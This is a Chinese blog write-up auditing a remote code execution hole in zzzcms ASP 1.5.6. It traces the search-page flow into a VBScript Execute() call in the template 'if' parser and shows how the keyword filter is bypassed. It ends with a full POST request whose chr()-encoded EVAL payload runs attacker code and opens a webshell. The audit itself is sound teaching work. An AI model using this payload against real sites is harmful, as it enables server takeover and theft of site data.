zzzcms(asp) V1.5.6 版本代码执行漏洞分析


前言

在4年前在浏览一篇文章zzzcms php存在代码执行漏洞。我在想那么既然php存在漏洞那么asp版本有没有漏洞呢。于是在4年前就对这个开始审计了。当然这个漏洞审计出来分享给了内部团队的人也不能算了。我一个有才是day哈哈哈。这文章是审计是4年前写的。那会儿属于0day漏洞把。放出来学习学习asp版本的代码审计吧。需要懂asp代码虽然现在asp用的太少了。开始吧
源代码结构截图:
源代码

审计步骤重要以代码形式呈现

调用过程分析
C:\inetpub\wwwroot\index.asp


<!--#include file="inc/zzz_client.asp"-->
<%
if  runMode="1" then aspgo(sitePath&"index"&siteExt)
%>

C:\inetpub\wwwroot\inc\zzz_client.asp

<!--#include file="zzz_template.asp"-->
<!--#include file="zzz_user.asp"-->
<!--#include file="ZZZ_Language.asp"-->
<!--#include file="ZZZ_plug.asp"-->
<%
if ISINSTALL=0 and isfolder(sitepath&"install") then alertgo "网站尚未安装,点击确定进入安装界面","/install"
dim act,module,Action,SubAction,id,page,Location,SID,iswap,tag,CPageName,islistpage,iscontentpage
if webMode=0 then  goto404 siteHelp
    act            =    GetForm("act","get")
    page        =    GetForm("page","get")
    SID            =    GetForm("SID","get")
    ID            =    GetForm("id","get")
    tag            =    GetForm("tag","get")
    Location    =    getPagePath   '不用带括号调用

C:\inetpub\wwwroot\inc\zzz_template.asp


  function getPagePath()
        response.write("call me!!!!!!")
        dim NowPath,Modeltype
        NowPath=getNowPagePath    :    NowPath=replacestr(replacestr(NowPath,"go/",""),"index.asp?","")
        if     ifstrin(NowPath,"list_") then
            getPagePath="list"
        elseif ifstrin(NowPath,"/") then
            getPagePath=split(NowPath,"/")(1)
        else
            getPagePath=""
        end if        
    end function

  toLocation act,Location
%>

分析执行截图

C:\inetpub\wwwroot\inc\zzz_class.asp

sub toLocation(act,Location)
    dim data
    if not isnul(act) then  
        call selectact(act)
    elseif not isnul(Location) then  
        call selectLocation(Location)
    else
        Call Zhl.Run_index
    end if
end sub

sub selectLocation(str)
    if Asc(left(CPageName,1))<91 and Asc(left(CPageName,1))>64 then
        if dbcount("[dbpre]sort","S_URL='"&CPageName&"' and S_onoff=1")>0 then
            dim data : data=dbload("[dbpre]sort","sid,S_type",1,"S_URL='"&CPageName&"' and S_onoff=1","")
            sid=data(0,0)    
            if ifstrin("product,news,photo,case,down,job,video",data(1,0)) then
                Location="list"
            else
                Location=data(1,0)
            end if
        end if
    end if    
    if ifPageName(CPageName) then                        
        data=dbload("[dbpre]content","C_sid,CID",1,"C_pagename='"&CPageName&"'","")
        sid=data(0,0)
        id=data(1,0)
    end if
    Select Case Location
        Case "about"    :    Call Zhl.Run_about(SID,Page)
        Case "brand"    :    Call Zhl.Run_brand(id,page)
        Case "list","screen","brandlist"    :    Call Zhl.Run_list(Location,SID,Page)
        Case "tag"        :    Call Zhl.Run_tag(Location,Page)        
        Case "product","news","photo","case","down","job","video","content"    :    Call Zhl.Run_content(Location,sid,id,page)    
        Case "search"    :    Call Zhl.Run_search(Location,SID,Page)        
        Case "comment"    :    Call Run_comment(Location,SID,Page)
        Case "submission"    :    Call Run_submission
        Case "user"        :    Call Run_user
        Case "shop"        :    Call Run_shop
        Case "gbook"    :    Call Zhl.Run_gbook
        Case "form"        :    Call Zhl.Run_form(id)
        Case replace(adminPath,"/","")    :    aspgo sitepath&adminPath&"login.asp"
        Case else        :    Call Zhl.Run_other()
        'case else  : echop request.serverVariables("URL")&"act:"&act&" Location:"&Location&" SID:"&SID&" id:"&id&" page:"&page
    End Select
end sub

C:\inetpub\wwwroot\inc\zzz_template.asp

'生成[搜索结果]静态页面
    Function Run_search(Location,sid,page)
        dim rs,content,sql
        searchkeys=enhtml(getform("keys","both"))    
        if not isnul(searchkeys) then setcookie "searchkeys",searchkeys else searchkeys=getcookie("searchkeys")    
        searchtype=enhtml(getform("type","both"))    
        if not isnul(searchtype) then setcookie "searchtype",searchtype else searchtype=getcookie("searchtype")    
        addcookie "cookiekeys",searchkeys&"|"&searchtype
        Call Template_Int()'初始化模板
        TempFile   = TemplateFilePath&"search.html" '模板路径
        call LoadParse()    
        call LoadlistParse
        zhl.show()
    End Function

C:\inetpub\wwwroot\inc\zzz_template.asp

Function Template_Int()
        TemplatePath    =sitepath &"template/pc/"& zset.PcTemplate        
        TemplateFilePath = sitepath &"template/pc/"&zset.PcTemplate&zset.PchtmlPath    
        Locationpath="<a href='"&sitePath&"'>"&str_index&"</a>"
        CacheFolder =sitepath&CachePath
        htmlFolder  =sitepath&htmlDir
        pluginspath =sitepath&"plugins/"
    End Function    

public sub LoadParse()        
    ZContent = loadFile(TempFile)
    call ParseTopAndFoot()    
    call ParseGlobal()    '底层基础
    end sub

'扩展解析
    public sub LoadlistParse()
    call parseDBLoop()    '列表循环
    call parseDBLoop()    '列表循环
    call parseAdLoop()    '广告    
    call ParseLabels()    '自定义标签    
    call Parsepics()    '相册
    call LoadplugLoop()
    call parsehidestr()    '隐藏*
    call parseleftstr()    '左侧截取
    call parseformatDate()    '格式化时间    
    call parsecounts()    '统计数量
    call parseDBLoop()    '列表循环    
    call parseIf("")    '解析判断
    end sub
'解析if
    Public Function parseIf(str)
     'response.write(str&"test")
    'response.write("####################################3")
    ' Exit Function
        on error resume next
        if not ifStrin(Zcontent,"{if"&str&":") then Exit Function
        dim mif,matchesIf,strIf,strThen,strThen1,strElse1,iflabel2,iflabel3
        dim ifFlag,ElseArray,ElseIfSubArray,ElseArrayLen,ReStr,ElseLen,strElseIf,strElseIfThen,elseIfFlag
        iflabel="{if"&str&":([\s\S]+?)}([\s\S]*?){end\s+if"&str&"}"
        iflabel2="{elseif"&str&""
        iflabel3="{else"&str&"}"
        elseIfFlag=false
        Zreg.Pattern=iflabel
        set matchesIf=Zreg.Execute(Zcontent)
        for each mif in matchesIf

            strIf=mif.SubMatches(0):strThen=mif.SubMatches(1)
            if instr(strThen,iflabel2)>0 then
                ElseArray=split(strThen,iflabel2)
                ElseArrayLen=ubound(ElseArray)
                ElseIfSubArray=split(ElseArray(ElseArrayLen),iflabel3)
                ReStr=ElseIfSubArray(1)
                
                Execute("if "&strIf&" then ReStr=ElseArray(0)")
                for ElseLen=1 to ElseArrayLen-1
                    strElseIf=getSubStrByFromAndEnd(ElseArray(ElseLen),":","}","")
                    strElseIfThen=getSubStrByFromAndEnd(ElseArray(ElseLen),"}","","start")
                    Execute("if "&strElseIf&" then ReStr=strElseIfThen")
                    Execute("if "&strElseIf&" then elseIfFlag=true else  elseIfFlag=false")
                    if elseIfFlag then exit for
                next
                Execute("if "&getSubStrByFromAndEnd(ElseIfSubArray(0),":","}","")&" then ReStr=getSubStrByFromAndEnd(ElseIfSubArray(0),""}"","""",""start""):elseIfFlag=true")
                Zcontent=replace(Zcontent,mif.value,ReStr)
            else
                if instr(strThen,"{else"&str&"}")>0 then
                    strThen1=split(strThen,iflabel3)(0)
                    strElse1=split(strThen,iflabel3)(1)
                    
                    Execute("if "&strIf&" then ifFlag=true else ifFlag=false")
                    if err then die "判断标签有误请修正<br>"&strIf&err.number&err.description
                    if ifFlag then Zcontent=replace(Zcontent,mif.value,strThen1) else Zcontent=replace(Zcontent,mif.value,strElse1)
                else    
                      'response.write("---------------------"&vbcrlf)
                      ' response.write(strIf&vbcrlf)    
                       ' response.write("---------------------"&vbcrlf)                        
                    Execute("if "&strIf&" then ifFlag=true else ifFlag=false")  //漏洞点
                    'Execute(strIf)
                    'exit function
                    if err then die "判断标签有误请修正<br>"&strIf&err.number&err.description
                    if ifFlag then Zcontent=replace(Zcontent,mif.value,strThen) else Zcontent=replace(Zcontent,mif.value,"")
                end if
            end if
            elseIfFlag=false
        next
        set matchesIf=nothing            
        if ifStrin(Zcontent,"{if1:") then parseIf("1") else Exit Function
        if ifStrin(Zcontent,"{if2:") then parseIf("2") else Exit Function
        if ifStrin(Zcontent,"{if3:") then parseIf("3") else Exit Function
        if ifStrin(Zcontent,"{if4:") then parseIf("4") else Exit Function
        if ifStrin(Zcontent,"{if5:") then parseIf("5") else Exit Function        
    End Function

C:\inetpub\wwwroot\inc\zzz_mian.asp

'获得表单
    public function getForm( byval element,byval getType)  //过滤post请求参数 这个可以绕过
        on error resume next
        getType=lcase(getType)
        dim s,e
        select case getType
            case "get","both"
                if isRewrite and URLQueryString<>"" then
                    aArray = split(URLQueryString,"&")
                    element = lcase(element)
                    for iI = 0 To ubound(aArray)
                        i = instr(aArray(iI),"=")
                        if i > 0 then
                            e = lcase(left(aArray(iI),i-1))
                            if element = e then s = mid(aArray(iI),i+1)
                        end if
                    next
                end if
                if s="" then s = request.queryString(element)
                if getType="both" and s="" then s = request.form(element)
            case "post"
                s = request.form(element)
        end select
        '如果参数里面有下面这个字符那么直接报错  大写绕过
        if ifstrin(s,"execute") or ifstrin(s,"request") or ifstrin(s,"eval")  or ifstrin(s,"script") or ifstrin(s,"爠煥敵瑳") or ifstrin(s,"┠")  or ifstrin(s,"┼") then
            getForm=""
            errlog filterPara(s),""
            if evalsendmail=1 then sendmail Receive_email,zset.siteTitle&"网站有人试图注入,IP"&getip(),"网址:"&zset.siteUrl&"</br>项目:留言信息</br>表单:"&element&"</br>类型:"&getType&"</br>语句:"&s
            goto404 "请不要尝试注入,您的ip已记录"
        else
            getForm = enhtml(trim(s))
        end if
        if err.number<>0 then err.clear
    end function


function enhtml(byval strs)     '过滤脚本 可以绕过
        reg.pattern ="<script.+?/script>"
        strs=reg.replace(strs,"")
        reg.pattern ="<iframe.+?/iframe>"
        strs=reg.replace(strs,"")
        strs = Replace(strs,"%","&#037;")
    'strs=replace(strs,"&","&")
        strs=replace(strs,"'","'")
        strs=replace(strs,"""","&#34;")
    'strs=replace(strs,"<","<")
    'strs=replace(strs,">",">")
        reg.pattern="(w)(here)"
        strs=reg.replace(strs,"$1h&#101;re")
        reg.pattern="(s)(elect)"
        strs=reg.replace(strs,"$1el&#101;ct")
        reg.pattern="(i)(nsert)"
        strs=reg.replace(strs,"$1ns&#101;rt")
        reg.pattern="(e)(xecute)"
        strs=reg.replace(strs,"$exe&#101;ute")        
        reg.pattern="(r)(equest)"
        strs=reg.replace(strs,"$r&#101;epuest")        
        reg.pattern="(c)(reate)"
        strs=reg.replace(strs,"$1r&#101;ate")
        
        reg.pattern="(d)(rop)"
        strs=reg.replace(strs,"$1ro&#112;")
        reg.pattern="(a)(lter)"
        strs=reg.replace(strs,"$1lt&#101;r")
        reg.pattern="(d)(elete)"
        strs=reg.replace(strs,"$1el&#101;te")
        reg.pattern="(u)(pdate)"
        strs=reg.replace(strs,"$1p&#100;ate")
        reg.pattern="(\s)(or)"
        strs=reg.replace(strs,"$1o&#114;")
        reg.pattern="(java)(script)"
        strs=reg.replace(strs,"$1scri&#112;t")
        reg.pattern="(j)(script)"
        strs=reg.replace(strs,"$1scri&#112;t")
        reg.pattern="(vb)(script)"
        strs=reg.replace(strs,"$1scri&#112;t")
        
        if instr(strs,"expression")<>0 then
            strs=replace(strs,"expression","e&#173;xpression",1,-1,0)
        end if
        enhtml=strs
    end function

存在漏洞的点为:
Execute(“if “&strIf&” then ifFlag=true else ifFlag=false”)

exp:   蚁剑直接连接
zzzcms 1.5.6 asp EXP

POST /search/index.asp HTTP/1.1
Host: www.fuckcms.com
Content-Length: 159
Cache-Control: max-age=0
Origin: http://www.fuckcms.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.fuckcms.com/search/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz847_usercheck=0; zzz847_keys=sdasfsdf; ASPSESSIONIDQQACCRSD=NOPNDKFAENGFMJJFGPOKKHIG; ASPSESSIONIDSSAABRTC=JNBLPMFANFHIGFALOMABOGEO; ASPXSpy=; ASPSESSIONIDQQBADRSC=DMOFDLGAMMPMACNNOIPJICJC; zzz%5F=errval=%3Ca+href%3D%27http%3A%2F%2Fzzzcms%2Ecom%2Fnews%2F%3Fbits32%2Ehtml%27+target%3D%27%5Fblank%27%3E1%2E%E6%A3%80%E6%9F%A5%E6%98%AF%E5%90%A6%E5%90%AF%E7%94%A832%E4%BD%8D%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E3%80%82%3C%2Fa%3E%3Cbr%3E%3Ca+href%3D%27http%3A%2F%2Fzzzcms%2Ecom%2Fnews%2F%3Ffolderaccess%2Ehtml%27+target%3D%27%5Fblank%27%3E2%2E%E6%A3%80%E6%9F%A5%E6%95%B0%E6%8D%AE%E5%BA%93%E6%96%87%E4%BB%B6%E5%A4%B9%E6%9D%83%E9%99%90%E3%80%82%3C%2Fa%3E&cookiekeys=xxxxxxx%7C%2Cxxxx%7C%2Ccccc%7C%2C111%7C&oldpath=8Lk9Sk6Mc%2F&errdesc=&question=test&siteurl=http%3A%2F%2Fwww%2Efuckcms%2Ecom%2F&errtitle=%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E5%A4%B1%E8%B4%A5&password=49ba59abbe56e057&dbdata=1&username=admin&dbtype=0&searchkeys=xxxxxxx&errid=0&answer=test&sitename=test
Connection: close

keys={if:EVAL(EVAL(chr(114)%2bchr(101)%2bchr(113)%2bchr(117)%2bchr(101)%2bchr(115)%2bchr(116))(chr(97)))}{end if}&a=response.write(chr(98)%2bchr(98)%2bchr(99))

执行截图
漏洞执行截图

总结

代码审计要全方位多语言审计才能发现别人发现不了的或者不会的东东。今天就到这里吧。这里主要是展示漏洞执行流程和绕过防护进行代码执行。


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录